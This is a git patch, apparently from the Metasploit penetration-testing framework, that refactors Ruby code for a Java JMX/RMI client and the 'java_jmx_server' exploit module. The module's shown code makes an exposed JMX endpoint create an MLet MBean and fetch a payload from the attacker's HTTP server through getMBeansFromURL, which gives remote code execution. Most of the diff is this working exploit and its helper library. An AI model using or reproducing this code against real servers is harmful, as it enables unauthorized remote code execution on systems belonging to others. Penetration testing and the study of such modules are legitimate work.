From d8d4c23d60ad2ba8a2de0e1661baeeb9eafd6a1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 17:06:51 -0500 Subject: [PATCH] JMX code refactoring --- lib/msf/java/rmi/client/jmx/connection.rb | 84 +++++--- .../java/rmi/client/jmx/connection/parser.rb | 39 ---- lib/msf/java/rmi/client/jmx/server.rb | 14 +- lib/msf/java/rmi/client/jmx/server/parser.rb | 24 +-- lib/rex/proto/rmi.rb | 1 + lib/rex/proto/rmi/exception.rb | 10 + .../exploits/multi/misc/java_jmx_server.rb | 197 ++++++++---------- 7 files changed, 170 insertions(+), 199 deletions(-) delete mode 100644 lib/msf/java/rmi/client/jmx/connection/parser.rb create mode 100644 lib/rex/proto/rmi/exception.rb diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb index 8c9a948856..e69f85c457 100644 --- a/lib/msf/java/rmi/client/jmx/connection.rb +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -4,12 +4,10 @@ module Msf module Java module Rmi module Client - module Registry + module Connection require 'msf/java/rmi/client/jmx/connection/builder' - require 'msf/java/rmi/client/jmx/connection/parser' include Msf::Java::Rmi::Client::Jmx::Connection::Builder - include Msf::Java::Rmi::Client::Jmx::Connection::Parser def send_jmx_get_object_instance(opts = {}) send_call( @@ -21,40 +19,70 @@ module Msf sock: opts[:sock] || sock ) - return_value - #remote_object = parse_jmx_get_object_instance(return_value) + if return_value.nil? + return nil + end - #remote_object + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true end - end - def send_jmx_create_mbean(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_create_mbean(opts) - ) + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) - return_value = recv_return( - sock: opts[:sock] || sock - ) + return_value = recv_return( + sock: opts[:sock] || sock + ) - return_value - #remote_object = parse_jmx_get_object_instance(return_value) + if return_value.nil? + return nil + end - #remote_object - end + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end - def send_jmx_invoke(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_invoke(opts) - ) + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end - return_value = recv_return( - sock: opts[:sock] || sock - ) + true + end - return_value + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'java.util.HashSet' + return nil + end + + true + end end end end diff --git a/lib/msf/java/rmi/client/jmx/connection/parser.rb b/lib/msf/java/rmi/client/jmx/connection/parser.rb deleted file mode 100644 index bb6db05bd6..0000000000 --- a/lib/msf/java/rmi/client/jmx/connection/parser.rb +++ /dev/null @@ -1,39 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Connection - module Parser - def parse_jmx_get_object_instance(return_value) - if return_value.nil? || return_value.is_exception? - puts "is exception :?" - puts "#{return_value.value[0].class}" - puts "#{return_value.value[0].class_desc.description.class_name.contents}" - return nil - end - - puts "#{return_value.value[0].class}" - - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) - return nil - end - - case return_value.value[0].class_desc.description - when Rex::Java::Serialization::Model::NewClassDesc - return return_value.value[0].class_desc.description.class_name.contents - when Rex::Java::Serialization::Model::ProxyClassDesc - return return_value.value[0].class_desc.description.interfaces[0].contents - else - return nil - end - end - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb index b89fdb4354..d93c409b4e 100644 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -27,19 +27,17 @@ module Msf sock: opts[:sock] || sock ) - remote_object = parse_jmx_new_client(return_value) - - if remote_object.nil? + if return_value.nil? return nil end - remote_location = parse_jmx_new_client_endpoint(return_value) - - if remote_location.nil? - return nil + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name end - {object: remote_object}.merge(remote_location) + ref = parse_jmx_new_client(return_value) + + ref end end end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb index bd786403df..d65e99858d 100644 --- a/lib/msf/java/rmi/client/jmx/server/parser.rb +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -14,22 +14,24 @@ module Msf # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] # @return [String, NilClass] The remote object name if success, nil otherwise def parse_jmx_new_client(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) - return nil - end + return_object = '' case return_value.value[0].class_desc.description when Rex::Java::Serialization::Model::NewClassDesc - return return_value.value[0].class_desc.description.class_name.contents + return_object = return_value.value[0].class_desc.description.class_name.contents when Rex::Java::Serialization::Model::ProxyClassDesc - return return_value.value[0].class_desc.description.interfaces[0].contents + return_object = return_value.value[0].class_desc.description.interfaces[0].contents else return nil end + + unless return_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + return nil + end + + ref = parse_jmx_new_client_endpoint(return_value) + + ref end # Parses a java.rmi.registry.Registry.lookup() return value to find out @@ -38,10 +40,6 @@ module Msf # @param return_value [Rex::Java::Serialization::Model::ReturnValue] # @return [Hash, NilClass] The remote interface information if success, nil otherwise def parse_jmx_new_client_endpoint(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - values_size = return_value.value.length end_point_block_data = return_value.value[values_size - 2] unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb index 74505c57f2..815a1e8bb3 100644 --- a/lib/rex/proto/rmi.rb +++ b/lib/rex/proto/rmi.rb @@ -3,5 +3,6 @@ # JAVA RMI Wire protocol implementation # http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html +require 'rex/proto/rmi/exception' require 'rex/proto/rmi/model' diff --git a/lib/rex/proto/rmi/exception.rb b/lib/rex/proto/rmi/exception.rb new file mode 100644 index 0000000000..dfe9cde013 --- /dev/null +++ b/lib/rex/proto/rmi/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + class Exception + end + end + end +end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 322d3db1ed..09eab92f5a 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Java::Jmx include Msf::Exploit::Remote::HttpServer include Msf::Java::Rmi::Client @@ -185,68 +184,51 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - print_status("#{ref.inspect}") - ref end def handshake(mbean) - - ref = send_new_client( - object_number: mbean[:object_number], - uid_number: mbean[:uid].number, - uid_time: mbean[:uid].time, - uid_count: mbean[:uid].count - ) - - print_status("#{ref.inspect}") - - ref -=begin - case answer - when 'java.lang.SecurityException' - vprint_error("#{peer} - JMX end point requires authentication, but it failed") - return nil - when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - vprint_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) - else - vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + begin + ref = send_new_client( + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}") return nil end - print_status("#{conn_stub.inspect}") - - conn_stub -=end + ref end def load_payload(conn_stub) - vprint_status("#{peer} - Getting JMXPayload instance...") - return_value = send_jmx_get_object_instance( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: "#{@mlet}:name=jmxpayload,id=1" - ) - if return_value.nil? - return false - elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException' - vprint_warning("#{peer} - JMXPayload instance not found, trying to load") - return load_payload_from_url(conn_stub) - elsif return_value.is_exception? - vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - JMXPayload instance found, using it") - return true - else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") - return false + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: "#{@mlet}:name=jmxpayload,id=1" + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + else + vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}") + return false + end end + + + return false if res.nil? + + true end def load_payload_from_url(conn_stub) @@ -255,85 +237,78 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") - return_value = send_jmx_create_mbean( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: 'javax.management.loading.MLet' - ) + begin + res = send_jmx_create_mbean( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'javax.management.loading.MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + res = true + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + res = nil + else + vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}") + res = nil + end + end - if return_value.nil? + if res.nil? vprint_error("#{peer} - The request to createMBean failed") return false end - if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - javax.management.loading.MLet already exists") - elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException' - vprint_error("#{peer} - The provided user hasn't enough privileges") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet created") - else - vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}") + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'DefaultDomain:type=MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}") return false end - vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") - return_value = send_jmx_get_object_instance( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: 'DefaultDomain:type=MLet' - ) - - if return_value.nil? + if res.nil? + vprint_error("#{peer} - The request to GetObjectInstance failed") return false - elsif return_value.is_exception? - vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - MLet instance found, using it") - else - vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") end vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - return_value = send_jmx_invoke( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - object: 'DefaultDomain:type=MLet', - method: 'getMBeansFromURL', - args: { 'java.lang.String' => "#{get_uri}/mlet" } - ) - vprint_status("Stopping service...") - stop_service + begin + res = send_jmx_invoke( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") + return false + ensure + vprint_status("Stopping service...") + stop_service + end - if return_value.nil? + if res.nil? vprint_error("#{peer} - The call to getMBeansFromURL failed") return false end - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected getMBeansFromURL answer") - return false - end - - case answer - when 'java.util.HashSet' - vprint_good("#{peer} - The remote payload has been loaded!") - return true - else - vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") - return false - end + true end end